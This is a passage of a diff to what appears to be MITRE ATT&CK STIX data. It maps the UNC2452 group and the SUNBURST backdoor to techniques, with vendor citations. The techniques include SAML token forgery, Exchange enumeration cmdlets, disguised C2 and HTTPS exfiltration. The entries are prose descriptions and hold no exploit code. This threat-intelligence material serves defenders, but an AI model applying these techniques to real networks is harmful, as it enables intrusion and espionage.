"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used Rundll32 to execute payloads.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--8e57d752-b45c-44aa-b74f-4e5abdd2300e", + "type": "relationship", + "modified": "2021-01-22T18:24:05.465Z", + "created": "2021-01-05T22:07:13.841Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", + "external_references": [ + { + "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) added credentials to OAuth Applications and Service Principals.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) ", + "relationship_type": "uses", + "id": "relationship--c8513484-2fa3-46f1-8c42-343992b4c9ad", + "type": "relationship", + "modified": "2021-01-26T21:34:18.828Z", + "created": "2021-01-05T22:07:13.845Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used the Get-ManagementRoleAssignment PowerShell cmdlet to enumerate Exchange management role assignments through an Exchange Management Shell.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--6f1e86f7-508a-4e31-bf37-e2f3c212ed47", + "type": "relationship", + "modified": "2021-01-05T22:07:13.843Z", + "created": "2021-01-05T22:07:13.843Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used the Get-AcceptedDomain PowerShell cmdlet to enumerate accepted domains through an Exchange Management Shell.(Citation: Volexity SolarWinds) They also used [AdFind](https://attack.mitre.org/software/S0552) to enumerate domains and to discover trust between federated domains.(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--80b64fd2-88c5-4ba6-bf95-7229236b57ee", + "type": "relationship", + "modified": "2021-01-25T14:25:13.007Z", + "created": "2021-01-05T22:07:13.848Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", + "external_references": [ + { + "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) created tokens using compromised SAML signing certificates.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)", + "relationship_type": "uses", + "id": "relationship--c16b0504-c5fd-4e67-97ad-46d46109335b", + "type": "relationship", + "modified": "2021-01-05T22:07:13.851Z", + "created": "2021-01-05T22:07:13.851Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used multiple command-line utilities to enumerate running processes.(Citation: Volexity SolarWinds)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--f6ef4a63-bd86-4991-a1ca-1435bef349c0", + "type": "relationship", + "modified": "2021-01-25T17:29:15.240Z", + "created": "2021-01-05T22:07:13.853Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) set the hostnames of its C2 infrastructure to match legitimate hostnames in the victim environment. They also primarily used IP addresses originating from the same country as the victim for their VPN infrastructure.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--ac43d196-8152-42a9-95ec-cb3c9a9080b2", + "type": "relationship", + "modified": "2021-01-12T17:16:31.987Z", + "created": "2021-01-05T22:07:13.887Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) exfiltrated collected data over a simple HTTPS request to a password-protected archive staged on a victim's OWA servers.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--e58fe67f-39c1-4e10-b825-1655803dd3d5", + "type": "relationship", + "modified": "2021-01-14T22:26:50.295Z", + "created": "2021-01-05T22:07:13.890Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "tool--f59508a6-3615-47c3-b493-6676e1a39a87", + "external_references": [ + { + "source_name": "Microsoft Analyzing Solorigate Dec 2020", + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . 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Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. 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Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. 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Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + }, + { + "source_name": "Microsoft Analyzing Solorigate Dec 2020", + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . 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(2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021." + }, + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. 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(2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) used DNS for C2 traffic designed to mimic normal SolarWinds API communications.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--b6a60179-abb0-41ec-96cc-112abe232509", + "type": "relationship", + "modified": "2021-01-06T15:56:49.644Z", + "created": "2021-01-06T15:56:49.644Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. 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Retrieved January 4, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) communicated via HTTP GET or HTTP POST requests to third party servers for C2.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--ecc31d1c-b5ac-4458-b379-a5c003637ee2", + "type": "relationship", + "modified": "2021-01-06T15:56:49.646Z", + "created": "2021-01-06T15:56:49.646Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. 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Retrieved January 4, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) collected a list of process names that were hashed using a FNV-1a + XOR algorithm to check against similarly-hashed hardcoded blocklists.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--988f5b4b-bfc7-4714-b6f0-f753c0472cab", + "type": "relationship", + "modified": "2021-01-10T18:09:07.454Z", + "created": "2021-01-06T15:56:49.654Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. 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Retrieved January 5, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) had a command to delete files.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)", + "relationship_type": "uses", + "id": "relationship--beeabdd2-deb3-43fc-b7d4-884f078271a1", + "type": "relationship", + "modified": "2021-01-06T15:56:49.648Z", + "created": "2021-01-06T15:56:49.648Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "external_references": [ + { + "source_name": "Microsoft Analyzing Solorigate Dec 2020", + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. 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Retrieved January 4, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) collected information from a compromised host.(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--5260f605-09d0-4d96-9239-9b93a76d0cbe", + "type": "relationship", + "modified": "2021-01-06T16:56:56.261Z", + "created": "2021-01-06T16:56:56.261Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. 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Retrieved January 5, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) collected the username from a compromised host.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)", + "relationship_type": "uses", + "id": "relationship--d9089fda-0f17-43d2-bd5b-b9cd441bb4e2", + "type": "relationship", + "modified": "2021-01-06T16:56:56.275Z", + "created": "2021-01-06T16:56:56.275Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. 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Retrieved January 4, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) collected a list of service names that were hashed using a FNV-1a + XOR algorithm to check against similarly-hashed hardcoded blocklists.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--7e2ceab5-e5ae-4c79-aceb-424d42703e5f", + "type": "relationship", + "modified": "2021-01-10T18:09:07.451Z", + "created": "2021-01-06T16:56:56.304Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. 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Retrieved January 4, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) was digitally signed by SolarWinds from March - May 2020.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--9234553d-b096-418f-b3d0-de75c15d8180", + "type": "relationship", + "modified": "2021-01-06T16:56:56.306Z", + "created": "2021-01-06T16:56:56.306Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. 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Retrieved January 4, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) masqueraded its network traffic as the Orion Improvement Program (OIP) protocol.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--ac71c15a-3c61-4e73-9663-fb35dc0a1a66", + "type": "relationship", + "modified": "2021-01-06T16:56:56.331Z", + "created": "2021-01-06T16:56:56.331Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. 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Retrieved January 4, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) collected all network interface MAC addresses that are up and not loopback devices, as well as IP address, DHCP configuration, and domain information.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--6de977db-83b0-474e-9e18-4b8f67eb4ddb", + "type": "relationship", + "modified": "2021-01-06T16:56:56.332Z", + "created": "2021-01-06T16:56:56.332Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", + "external_references": [ + { + "source_name": "Microsoft Analyzing Solorigate Dec 2020", + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021." + }, + { + "source_name": "FireEye SUNBURST Additional Details Dec 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html", + "description": "Stephen Eckels, Jay Smith, William Ballenthin. (2020, December 24). SUNBURST Additional Technical Details. Retrieved January 6, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) checked for a variety of antivirus/endpoint detection agents prior to execution.(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: FireEye SUNBURST Additional Details Dec 2020)", + "relationship_type": "uses", + "id": "relationship--cf32330f-0d67-4e10-adae-2fe3157f6888", + "type": "relationship", + "modified": "2021-01-14T16:44:20.305Z", + "created": "2021-01-06T16:56:56.334Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + }, + { + "source_name": "Microsoft Analyzing Solorigate Dec 2020", + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) had commands that allow an attacker to write or delete registry keys, and was observed stopping services by setting their HKLM\\SYSTEM\\CurrentControlSet\\services\\\\[service_name]\\\\Start registry entries to value 4.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020) It also deleted previously-created Image File Execution Options (IFEO) Debugger registry values and registry keys related to HTTP proxy to clean up traces of its activity.(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--15cd99f1-29b4-4603-ae74-fdc204afead4", + "type": "relationship", + "modified": "2021-01-25T17:27:11.064Z", + "created": "2021-01-06T16:56:56.344Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + }, + { + "source_name": "FireEye SUNBURST Additional Details Dec 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html", + "description": "Stephen Eckels, Jay Smith, William Ballenthin. (2020, December 24). SUNBURST Additional Technical Details. Retrieved January 6, 2021." + }, + { + "source_name": "Symantec Sunburst Sending Data January 2021", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-sunburst-sending-data", + "description": "Symantec Threat Hunter Team. (2021, January 22). SolarWinds: How Sunburst Sends Data Back to the Attackers. Retrieved January 22, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) C2 data attempted to appear as benign XML related to .NET assemblies or as a faux JSON blob.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: FireEye SUNBURST Additional Details Dec 2020)(Citation: Symantec Sunburst Sending Data January 2021)", + "relationship_type": "uses", + "id": "relationship--f01cbea5-8528-45e8-afdf-d1f382980d8a", + "type": "relationship", + "modified": "2021-01-22T19:49:35.362Z", + "created": "2021-01-06T16:56:56.351Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) added junk bytes to its C2 over HTTP.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--ade42bce-dfa6-4a34-8a42-dad089debbd0", + "type": "relationship", + "modified": "2021-01-06T16:56:56.338Z", + "created": "2021-01-06T16:56:56.338Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) dynamically resolved C2 infrastructure for randomly-generated subdomains within a parent domain.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--f974cb59-0c30-43a3-bb3e-58ebc1007d6d", + "type": "relationship", + "modified": "2021-01-22T22:22:49.128Z", + "created": "2021-01-06T16:56:56.348Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + }, + { + "source_name": "Microsoft Analyzing Solorigate Dec 2020", + "url": 